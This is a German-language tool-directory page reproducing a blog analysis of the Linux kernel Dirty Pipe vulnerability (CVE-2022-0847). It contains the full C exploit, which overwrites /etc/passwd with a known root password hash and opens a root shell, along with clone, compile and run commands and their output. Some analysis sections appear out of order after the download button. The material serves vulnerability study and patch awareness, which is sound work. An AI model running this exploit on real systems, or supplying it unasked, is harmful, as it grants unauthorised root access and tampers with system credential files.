Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-0847-DirtyPipe — Detaillierte Analyse und Proof-of-Concept-Exploit für CVE-2022-0847 (DirtyPipe), eine Linux-Kernel-Schwachstelle, die das Überschreiben beliebiger Dateien und lokale Rechteausweitung über nicht initialisierte Pipe-Puffer-Flags ermöglicht. | Kitploit
Tools/GitHubGitHub/greetdawn/cve-2022-0847-dirtypipe
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsLernen & BildungBinary-Exploitation
GitHubgreetdawn/cve-2022-0847-dirtypipe

CVE-2022-0847-DirtyPipe

Detaillierte Analyse und Proof-of-Concept-Exploit für CVE-2022-0847 (DirtyPipe), eine Linux-Kernel-Schwachstelle, die das Überschreiben beliebiger Dateien und lokale Rechteausweitung über nicht initialisierte Pipe-Puffer-Flags ermöglicht.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 4 JahrenNoch nicht geprüft

title: CVE-2022-0847(DirtyPipe lokale Rechteausweitung) Schwachstellenanalyse date: 2022-03-08 14:41:20 tags: - Linux-Rechteausweitung categories: - Sicherheitsforschung


Schwachstellenbeschreibung

CVE-2022-0847 ist eine Schwachstelle im Linux-Kernel, die es seit 5.8 gibt. Ein Angreifer kann mit ihr Daten in beliebigen schreibgeschützten Dateien überschreiben. Auf diese Weise können normale Benutzerrechte auf root erweitert werden, da nicht privilegierte Prozesse Code in Root-Prozesse injizieren können.

CVE-2022-0847 ähnelt CVE-2016-5195 "Dirty Cow" (Dirty-Cow-Rechteausweitung) und ist leicht auszunutzen. Der Autor der Schwachstelle hat sie Dirty Pipe genannt.

Sicherheitshinweis

Dieser Blog dient in erster Linie der Dokumentation von Sicherheitsvorfällen und Schwachstellenartikeln zu Lern-, Austausch- und Testzwecken. Für jegliche direkten oder indirekten Folgen und Schäden, die durch die Verbreitung oder Nutzung der in diesem Blogartikel bereitgestellten Informationen oder Werkzeuge entstehen, ist ausschließlich der Nutzer selbst verantwortlich; der Autor des Artikels übernimmt keinerlei Haftung.

Auswirkungsbereich

Gefahrenstufe: Hoch

POC/EXP: Öffentlich verfügbar

Betroffene Versionen: linux-Kernel 5.8 und spätere Versionen

Hinweis: Sichere Versionen sind Linux-Kernel >= 5.16.11, Linux-Kernel >= 5.15.25, Linux-Kernel >= 5.10.102

Schwachstellenanalyse

Hier werden die Details der Schwachstelle kurz vorgestellt.

Einige Konzepte:

Linux pipe: Halbduplex; der Datenstrom kann nur von einem Ende zum anderen fließen.

pipe_buffer: Pipe-Puffer, der zum Zwischenspeichern der in die Pipe geschriebenen Daten dient; Lese- und Schreibvorgänge erfolgen im Pipe-Puffer.

page: Seitenrahmen, 4 KB groß; steht in einer 1:1-Beziehung zum Pipe-Puffer.

pipe_buf_operations: Speichert die Operationsmenge des Pipe-Puffers.

can_merge: Zusammenführungs-Flag. Wenn generisches Pipe-Lesen/-Schreiben neue Daten in einen vorhandenen Puffer zusammenführen kann, wird es auf 1 gesetzt. Ist es auf 0 gesetzt, wird für neue Daten stets ein neues Pipe-Seitensegment verwendet.

splice(): Bewegt Daten zwischen zwei Dateideskriptoren. Wie die Funktion sendfile() unterstützt es Pipes und ist ebenfalls Zero-Copy. Es bindet den Seiten-Cache der Datei an den Pipe-Puffer, sodass sich Schreibvorgänge gegenseitig beeinflussen. Bei der Berechtigungsprüfung wird nur geprüft, ob die Quelldatei über Leserechte verfügt; beim Schreiben gibt es keine Berechtigungsprüfung. Die ungefähre Aufrufkette lautet:

root@kitploit:~
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
root@kitploit:~
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
root@kitploit:~
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

image-20220310151242149

Entwicklungsgeschichte der „Merge“-Erkennung bei Linux-Pipes:

Hier wird der Code anhand der Ausführungen des Autors kurz analysiert.

  1. Das ursprüngliche Linux-System entsprach der Konzeptvorstellung: Es gab das can_merge-Flag, das markierte, ob neue Daten in den bereits vorhandenen Pipe-Puffer geschrieben werden können.

  2. Commit 5274f052e7b3 fügte die Funktion splice() hinzu, aber die Überprüfung blieb unverändert: Anhand des can_merge-Flags wird weiterhin entschieden, ob der aktuelle Pipe-Puffer verwendbar ist.

    image-20220310130856202

    image-20220310130701741

  3. Commit 01e7187b4119 stellte die Verwendung des can_merge-Flags ein und verglich stattdessen den Zeiger auf struct pipe_buf_operations. Da nur der Typ anon_pipe_buf_ops das Schreiben neuer Daten erlaubt, genügt es, zu prüfen, ob es sich um diesen Typ handelt.

    image-20220310133214287

    image-20220310133251831

Daraus ergibt sich für den Autor folgender Ausnutzungsansatz:

  1. Eine Pipe erstellen
  2. Das PIPE_BUF_FLAG_CAN_MERGE-Flag des pipe_buffer setzen
  3. Die Pipe leeren und die Daten vor dem Ziel in die Pipe einfügen; dabei bindet splice den Pipe-Puffer an den Seiten-Cache.
  4. Beliebig Daten in die Pipe schreiben; der Schreibvorgang ruft letztlich copy_page_from_iter() auf, und dank des PIPE_BUF_FLAG_CAN_MERGE-Flags wird der Schreibvorgang direkt abgeschlossen.

Analyse des Exploits

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();										// 创建p[0]和p[1]分别指向管道两端。前者读,后者写

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);    	    // 获取管道大小
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;      // 填充管道,顺便设置PIPE_BUF_FLAG_CAN_MERGE
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {						// 清空管道,但是保留标志位
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main() {
	const char *const path = "/etc/passwd";								// 定义目标文件路径

        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");         // 创建/tmp/passwd.bak备份
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");

        if (f1 == NULL) {											   // 判断文件读写是否正常打开
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }

        char c;
        while ((c = fgetc(f1)) != EOF)								    // 逐字节写入
            fputc(c, f2);

        fclose(f1);
        fclose(f2);

	loff_t offset = 4; // after the "root"                                // 定义偏移,即覆盖目标位置为root字段之后
	const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 													 // 定义覆盖的数据
        printf("Setting root password to \"aaron\"...\n");
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {									  // 判断写入位置是否在页边界上
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;			// 定义当前页面结尾
	const loff_t end_offset = offset + (loff_t)data_size;				// 定义覆盖数据的结尾
	if (end_offset > next_page) {									  // 判断覆盖是否跨页
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)			// 打开只读目标文件
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;													// 定义st保存目标文件信息
	if (fstat(fd, &st)) {											 // 获取目标文件状态
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {										 // 判断偏移是否大于文件字节数
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {								      // 判断覆盖结尾是否大于文件字节数
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);                                                 // 创建管道,标志位设置为PIPE_BUF_FLAG_CAN_MERGE

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;													// 定位到偏移前1字节
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);          // 将该字节进行拼接发送到管道
	if (nbytes < 0) {											 // 判断是否移动成功,-1表示失败
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {											 // 0表示没有数据可以移动
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);						  // 覆盖数据写入管道
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell... (run commands now)\\\";"
                "/bin/sh;"
            "\" root"};
        execv("/bin/sh", argv);										// 开启root下shell

        printf("system() function call seems to have failed :(\n");
	return EXIT_SUCCESS;
}

Ausnutzung der Schwachstelle

Zur Demonstration wird derzeit eine kali-VM als Zielsystem verwendet.

Anforderung an das Zielsystem: Es genügt, wenn gcc vorhanden ist.

  • Aktuelle Kernel-Version des Systems anzeigen
root@kitploit:~
wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
  • Das exp klonen
root@kitploit:~
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
  • Exploit ausführen
root@kitploit:~
./compile.sh	# gcc编译

./exploit	    # 执行exp返回如下error信息
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(

su root 
密码: aaron 

登录后极为root权限
  • passwd-Datei wiederherstellen
root@kitploit:~
mv /tmp/passwd.bak /etc/passwd

Behebung der Schwachstelle

Zunächst wurde die Einstellung der merge-Eigenschaft korrigiert.

image-20220310160200916

Des Weiteren wurde die Initialisierung des flags-Flags hinzugefügt.

image-20220310160536267

image-20220310160703429

Anmerkung der Redaktion

An dieser Stelle möchten wir Psyduck sehr dafür danken, dass wertvolle Zeit darauf verwendet wurde, auf Grundlage des vom Offenleger der Schwachstelle veröffentlichten Exp eine prinzipielle Analyse und Aufarbeitung durchzuführen. Laut Psyduck wurden lokal ebenfalls entsprechende Debugging-Arbeiten auf unterster Ebene durchgeführt; es fehlt zwar noch eine eindeutige Daten-Aufrufkette, aber die Arbeiten werden derzeit noch vertieft.

Referenzlinks

  • https://dirtypipe.cm4all.com/
  • https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

Sicherheitshinweis

Dieser Blog dient in erster Linie der Dokumentation von Sicherheitsvorfällen und Schwachstellenartikeln zu Lern-, Austausch- und Testzwecken. Für jegliche direkten oder indirekten Folgen und Schäden, die durch die Verbreitung oder Nutzung der in diesem Blogartikel bereitgestellten Informationen oder Werkzeuge entstehen, ist ausschließlich der Nutzer selbst verantwortlich; der Autor des Artikels übernimmt keinerlei Haftung.

Tool herunterladen
  • Commit 241699cd72a8 fügte zwei neue Funktionen hinzu, die eine neue struct pipe_buf_operations zuweisen können, deren flags-Markierung jedoch nicht initialisieren.

    image-20220310155046455

  • Commit f6dd975583bd wandelte diesen Zeigervergleich in einen Vergleich des Flags PIPE_BUF_FLAG_CAN_MERGE jedes Puffers um und erlaubte das Injizieren von PIPE_BUF_FLAG_CAN_MERGE; gleichzeitig wurden Definition und Verwendung anderer Typen von buf_ops entfernt.

    image-20220310134233873

    image-20220310134337376

    image-20220310142420972